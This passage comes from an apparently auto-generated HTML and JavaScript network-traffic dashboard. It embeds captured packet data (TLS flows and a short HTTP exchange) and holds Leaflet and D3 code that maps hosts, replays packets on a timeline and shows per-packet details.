t\\u000f~e\\u001f:\\u0016\\u0013gI\\u0004YKOK\\u000f9*zUaW\\b?\\u0016jF\\u001b\\u0018\\u001eXbQ\\u0019\\u0013^\\u0004\\u001d\\u000e\\fy\\u0005\\u0004Lt\\u0003r\\u0016C\\\\eq\\u0010}-\\u000f)t\\n)4 6~)-P\\u000e?\\bi;c(DL[/t\\u0010xZ\\u0017p8\\u0018Z@\\u001a\\u0001\\u0012\\u001f\\u0005Ak\\u00040z_Xhe\\\"I\\u000eEjE2Uys9d\\toa)\\n\\u001f2|YPq\\u0001W1>ysl<R\\u00143h\\u0018}\\u0002!re\\\\'Ir\\u0000jcE\\u001f\\u00169'W\\u0003)#<\\u0017*\\u000f\\u00131\\rSH\\u007f-}K\\rKmNd,\\u0018kA\\u0005XC@\\u0017\\u0003\\u0003\\u0005si7\\u000bVA*\\u00148^\\u007fHc|xRzL'|]=\\u0000)I _\\u0004:ahv\\\\\\u0019{1+SO(y%\\rc\\f\\u0004\\u0005%xsJI~N\\nv^)`\\u001e-%\\u001cq28\\u0001plAG\\f1\\u000e\\u001a=0,\\t\\n\\n^. [Nhy>\\u001ei\\u0006&\\n +eW-<2,<\\u001d8\\u000ey85ES\\\\}j\\nwTSH,\\n?G\\u001eWF<XL*_U\\nMVfxz0C{\\u0017D{UYbJ\\u0019Uqs5??\\u0007)X\\u0011zl\\u001aJ\\u001a\\u0016\\t\\u0019Xs\\u0000\\u0017\\n1o\\u001fah\\u0011\\u007f\\u0007B{\\\"\\f\\\\I[Op\\u0001c(4\\nJa\\u0000\\u0018[qv`^L\\u0007Gsvv\\u007f\\u000b]\\u0019_`]42A_o5`\\u0012\\u0011\\u0017M\\u007f&\\u000e<1[4j\\nPRE\\u0005\\f*\\u0007w\\\\+]?s\\u001d\\u0001L}$34!T\\u001fQ\\u0016\\u0006u\\\"J\\u0001g$7\\u0005\\u0010p\\u0012`4_G*^S\\u0004GH\\u0014\\u001e^5j|\\u0019&\\u001fTW\\u0016/<C|OuwD\\u000f\\u0011>CF\\u0006#9y\\u0007(6f\\tWW&W\\u001d(\\u001c\\\\B7U\\n\\u0004ji4o4\\u0006*yr)QUF\\u0018\\u0010xE\\t\\u0011?sa(\\u001d'F}.\\\\\\u001aa^%G\\u0011\\u0005\\\\s^vE&H92?t\\u0001IExoc{\\u001b'zVpJrCa\\u000f}\\u0004m(\\u0016\\\\:\\u001aT\\u0007zb7\\u001f\\u0019Bn,\\u00030.\\\\?<I&2\\u007f{r'B\\rq3\\u000e\\f91R8Pvn;+d-KI\\r0\\u0017V\\u0007(\\u00042\\u0013\\u000b)|2=^sn)mJ\\u00163[\\rc,\\u0019h`\\u001c\\u0018b(,\\u007f\\u0010w\\b*\\nFX{;Jr_\\u000f\\\\K?\\u001b@Mpy\\u0007x\\u0001ph\\u0014a +\\u0019Y!8V\\u001d\\u001753hq?,XU\\u001c\\u0016yKEJP`;_\\n2;;\\u000fw\\u001bW\\u001aD]S\\u0005\\u0016\\u0010q~|06\\u000b$\\u001dfM?'\\u0001\\u000b7#9yb{\\f|>[G\\u0018\\u001d(\\u0015;C,F(l3<;R8Ub;W99\\u001f0>\\u001fv/\\u001dOHc\\u001aQL\\u0019\\u0013\\u0001\\\"\\u001a:gq-\\u0001|BIx\\u007fk\\n}B\\u007fZtZ0\\u0010\\f%\\u0017\\u000f]s\\u000fF\\u000f\\u0006!\\\"v\\u001fp41(,\\u000b'b* \\u000eIW1\\u0013Sn)*%Ch\\fu\\u001f^W/\\u0002\\u0014@(\\u0003\\u007fWlZ\\u001e\\n\\u0017\\u0003\\u0003\\u0003O\\u001f~Ily\\u001a{W)TY|a@'J\\u0005@FD\\u001ea*\\u0002eTTx\\u0006)ft\\u0003$\\u0006K,xl'bt\\tG\\u0007^\\u001e\\u0007eN\\u0002P\\u001e\\u0001z\\u007fgcP\\u0005lmPf\\u0016cO2^5X\\u001cJ}\\u00076\\n889\\u000fmQo1}Hf<0J\\u0013},D\\\\;PQs'<n3h\\u0003_@d\\u0007\\u0010_B\\u0007fuNcMa0P4\\u001f\\u0003&ZQv\\u001e't\\u0019^\\u0007mEDAs=n@rz\\\\44\\u0001U<\\u000bj\\r1\\r,-a\\u0010\\u0014\\u0019\\u001b)(k#Dha)E!\\u001etq WF~mOD0W\\u0003g`}\\u00004a[\\u000f\\u001d*\\u001b\\\\gt\\u00191&/\\u0012.x|/(\\u0005\\u001a\\u0019InMSQ,7\\u000e(\\u0012Igy\\u0000+\\u0018y:,\\u0003\\u001f(8*NrPzmj\\u007f'WCO><7r\\u000f5c\\u0005+^DQD^\\u0015,hKB$^rj\\u0014\\u001a\\u001e\\f\\u00150nse\\u0013E\\u0007C\\u0016=O\\u0014[j!.\\u0013U\\u0010NF'\\u0011uR\\bp\\u0011T\\u001fioWm%[@#f;Qq\\\"K\\u001bzb]MITl\"}, {\"packet_number\": 31, \"timestamp\": 1784448496.554614, \"timestamp_iso\": \"2026-07-19T13:38:16.554614\", \"timestamp_human\": \"2026-07-19 13:38:16.554\", \"size\": 62, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42979, \"ip_len\": 48, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455740284, \"tcp_ack\": 2755294593, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 8, \"payload_preview\": \"770322a725bcd955\", \"payload_ascii\": \"w\\u0003\\\"%U\"}, {\"packet_number\": 33, \"timestamp\": 1784448496.595731, \"timestamp_iso\": \"2026-07-19T13:38:16.595731\", \"timestamp_human\": \"2026-07-19 13:38:16.595\", \"size\": 829, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42980, \"ip_len\": 815, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455740292, \"tcp_ack\": 2755294593, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 775, \"payload_preview\": \"74b7f9fb26f911a73f6f222bbf6d58b5a29d0499e52e4f3cc754f77a9e5a1dd580844ba1c82b0896bfb94fc4c067b47efc80847e4dcbda6c602d6c81505e6da633766c8ca93516b6a2106af543255a9fa4d6239ca38fe75f2d504c6b5b11b24b4836c40c2e6181dcb0cd9246d6b30b39ea0cab163f518f9cbfb7ad75b489b98acf99ff0a30f7c0c972eea905adb87757961a0d3e5dea4d36491c1520ea0de20fa4177c506d17c185c85b72f60069e71f26aeb96c2a7ec6beb14750b8164608bf575c6b0fe7768f29c3b4f04f8e2d50fa84479e331fbb56807146a5d22dd8cee187b281f57833525bf7f546951703030139d205b719962ea1fe26118f646c7757c42aea80b08893dd9292b50f7d059b67a84b7315f6aaa98a14a4682cd78423970979424f0d12c79932648b08db21455e9b77fcfb581769e7620716c217604829c5706b5d3de5c9888ef0e20b4f1e01d81b71c1f6f4353c6089c9b1c0ecfdf703aa2d9a91eae228a68b08900a20ae70012c7205344714d2849421bf9af2c808c237e503d47e10cf7d18e65a4cc143b1a529eb85758eee4a6dabecb3283006d25a5cf362287640b5d15a1e7408e7391cd40733e5918991c20478ffe937dafbd0d5c85777fedf9f8bdc7c513d0a2f5d3691540ddbe5274289fb4537c35f54245bb12e0d692a739640a78406786f6aeaa8cba62751cbe4edaf5664da2a9404f6f998e2f394fc0321508e08ab57b778512fa3ad7f8e18d6513508d74150db37ba54f39f10de5c5a70f41e49a517030300b14c365ea4dba6c966417c9c063153fc8abc874db7a1988c1f9aab655caf85ee7e9ce97931eb2e62a931dc1c25ed73321bfd5ddbe54403e9a1e9c066d04cc5ec25067e1121a8e6effccf5a60893fcceb5371a0d2a89acc31df5c68de0cadc11a20f11a60f0945ce4cf6e01030a74471eb879c1c9b5a417cf57c729f1ae996ad9ee1d4023c4abc4654ce2b27b73529d4d9aec18256db507fcc3747b823921e85797e27f9abd5ed79ca1918576d6e332b1b3c01703030022c7195f71af4800f160c4983bc4ec61ae9e158830a2d30069fb2ec9785d89b7990da4\", \"payload_ascii\": \"t&\\u0011?o\\\"+mX\\u0004.O<TzZ\\u001dK+\\bOg~~Ml`-lP^m3vl5\\u0016\\u0010jC%Z#_-PLk[\\u0011KH6\\f.aF\\u000b9\\f\\u0016?Qu\\n0r\\u0005wW\\u001a\\r>]M6I\\u001c\\u0015 \\r\\u000f\\u0017|Pm\\u0017[r\\u0000i\\u001f&l*~GP\\u0016F\\bW\\\\k\\u000fv)O-PG3\\u001fVqF-x3R[F\\u0017\\u0003\\u0003\\u00019\\u0005\\u0019.&\\u0011dlwW*\\u000f}\\u0005gKs\\u0015\\u0014h,#\\tyBO\\r\\u00122d\\b!E^wX\\u0017ib\\u0007\\u0016\\u0017`H)pk]=\\u000bO\\u001e\\u0001\\u001bq5<`\\u0003-(\\b\\n p\\u0001,r\\u00054G\\u0014!\\b7\\u0003~\\u0010}\\u0018ZLC)uJm(0\\u0006Z\\\\b(v@Z\\u001et\\b9\\u001c\\u00073\\u0004x7Ww|Q=\\n/]6T\\r'BE7_T$[.\\ri*s@\\u0006xoj'QVd*\\u0004\\u0003!P\\bWxQ/\\u007f\\u0018Q5\\bAP7T\\u0010\\\\Zp\\u001eI\\u0017\\u0003\\u0003\\u0000L6^fA|\\u00061SM\\u001fe\\\\~y1.b1\\u001c%s2\\u001b]D\\u0003fL%\\u0006~\\u0011!Z`?Sq1\\\\h\\f\\u001a \\u001a`\\\\n\\u0001\\u0003\\ntG\\u001ey\\u0017W)j\\u001d@#eL{sRM\\u0018%m\\u0007t{9!W\\u007f^v2\\u0017\\u0003\\u0003\\u0000\\\"\\u0019_qH\\u0000`;a\\u00150\\u0000i.x]\\r\"}, {\"packet_number\": 35, \"timestamp\": 1784448496.60195, \"timestamp_iso\": \"2026-07-19T13:38:16.601950\", \"timestamp_human\": \"2026-07-19 13:38:16.601\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42981, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455741067, \"tcp_ack\": 2755294632, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 37, \"timestamp\": 1784448497.413826, \"timestamp_iso\": \"2026-07-19T13:38:17.413826\", \"timestamp_human\": \"2026-07-19 13:38:17.413\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"216.58.201.197\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42982, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63950, \"tcp_seq\": 2455741067, \"tcp_ack\": 2755294633, \"tcp_window\": 61, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 16, \"PSH\": 8, \"FIN\": 1}, \"packet_sizes\": [66, 54, 4102, 1377, 54, 54, 54, 542, 557, 54, 542, 2974, 62, 829, 54, 54], \"inter_packet_intervals\": [0.004436016082763672, 9.939988851547241, 0.00026798248291015625, 0.15492606163024902, 0.038780927658081055, 0.14205312728881836, 0.13898992538452148, 0.05499005317687988, 0.11703205108642578, 0.07154989242553711, 0.016868114471435547, 0.00015497207641601562, 0.041116952896118164, 0.006218910217285156, 0.8118760585784912], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 11.539249897003174, \"avg_packet_size\": 714.3125, \"packets_per_second\": 1.38657192996187, \"bytes_per_second\": 990.4456617208882, \"min_packet_size\": 54, \"max_packet_size\": 4102, \"median_packet_size\": 66, \"avg_interval\": 0.7692833264668782, \"min_interval\": 0.00015497207641601562, \"max_interval\": 9.939988851547241}, {\"source\": \"10.152.152.11\", \"target\": \"208.95.112.1\", \"packet_count\": 5, \"total_bytes\": 362, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [63963], \"dst_ports\": [80], \"first_packet\": 1784448489.760653, \"last_packet\": 1784448500.14535, \"packets\": [{\"packet_number\": 5, \"timestamp\": 1784448489.760653, \"timestamp_iso\": \"2026-07-19T13:38:09.760653\", \"timestamp_human\": \"2026-07-19 13:38:09.760\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 61721, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 80, \"tcp_seq\": 3021013280, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 7, \"timestamp\": 1784448489.760964, \"timestamp_iso\": \"2026-07-19T13:38:09.760964\", \"timestamp_human\": \"2026-07-19 13:38:09.760\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 61722, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 80, \"tcp_seq\": 3021013281, \"tcp_ack\": 4068210075, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 8, \"timestamp\": 1784448489.791979, \"timestamp_iso\": \"2026-07-19T13:38:09.791979\", \"timestamp_human\": \"2026-07-19 13:38:09.791\", \"size\": 134, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 61723, \"ip_len\": 120, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 80, \"tcp_seq\": 3021013281, \"tcp_ack\": 4068210075, \"tcp_window\": 8212, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 22, \"timestamp\": 1784448496.317738, \"timestamp_iso\": \"2026-07-19T13:38:16.317738\", \"timestamp_human\": \"2026-07-19 13:38:16.317\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 61724, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 80, \"tcp_seq\": 3021013361, \"tcp_ack\": 4068210249, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 39, \"timestamp\": 1784448500.14535, \"timestamp_iso\": \"2026-07-19T13:38:20.145350\", \"timestamp_human\": \"2026-07-19 13:38:20.145\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"208.95.112.1\", \"ttl\": 128, \"ip_id\": 61725, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 80, \"tcp_seq\": 3021013361, \"tcp_ack\": 4068210249, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 4, \"PSH\": 1, \"RST\": 1}, \"packet_sizes\": [66, 54, 134, 54, 54], \"inter_packet_intervals\": [0.0003108978271484375, 0.03101515769958496, 6.525758981704712, 3.8276119232177734], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 10.384696960449219, \"avg_packet_size\": 72.4, \"packets_per_second\": 0.48147769925716843, \"bytes_per_second\": 34.85898542621899, \"min_packet_size\": 54, \"max_packet_size\": 134, \"median_packet_size\": 54, \"avg_interval\": 2.5961742401123047, \"min_interval\": 0.0003108978271484375, \"max_interval\": 6.525758981704712}, {\"source\": \"208.95.112.1\", \"target\": \"10.152.152.11\", \"packet_count\": 3, \"total_bytes\": 348, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [63963], \"first_packet\": 1784448489.760714, \"last_packet\": 1784448496.273246, \"packets\": [{\"packet_number\": 6, \"timestamp\": 1784448489.760714, \"timestamp_iso\": \"2026-07-19T13:38:09.760714\", \"timestamp_human\": \"2026-07-19 13:38:09.760\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 63963, \"tcp_seq\": 4068210074, \"tcp_ack\": 3021013281, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 9, \"timestamp\": 1784448489.792003, \"timestamp_iso\": \"2026-07-19T13:38:09.792003\", \"timestamp_human\": \"2026-07-19 13:38:09.792\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 3665, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 63963, \"tcp_seq\": 4068210075, \"tcp_ack\": 3021013361, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 20, \"timestamp\": 1784448496.273246, \"timestamp_iso\": \"2026-07-19T13:38:16.273246\", \"timestamp_human\": \"2026-07-19 13:38:16.273\", \"size\": 228, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"208.95.112.1\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 3666, \"ip_len\": 214, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 63963, \"tcp_seq\": 4068210075, \"tcp_ack\": 3021013361, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 5, \"payload_preview\": \"747275650a\", \"payload_ascii\": \"true\\n\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 3, \"PSH\": 1}, \"packet_sizes\": [66, 54, 228], \"inter_packet_intervals\": [0.031288862228393555, 6.481243133544922], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 6.512531995773315, \"avg_packet_size\": 116.0, \"packets_per_second\": 0.46065032800560884, \"bytes_per_second\": 53.435438048650624, \"min_packet_size\": 54, \"max_packet_size\": 228, \"median_packet_size\": 66, \"avg_interval\": 3.2562659978866577, \"min_interval\": 0.031288862228393555, \"max_interval\": 6.481243133544922}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div 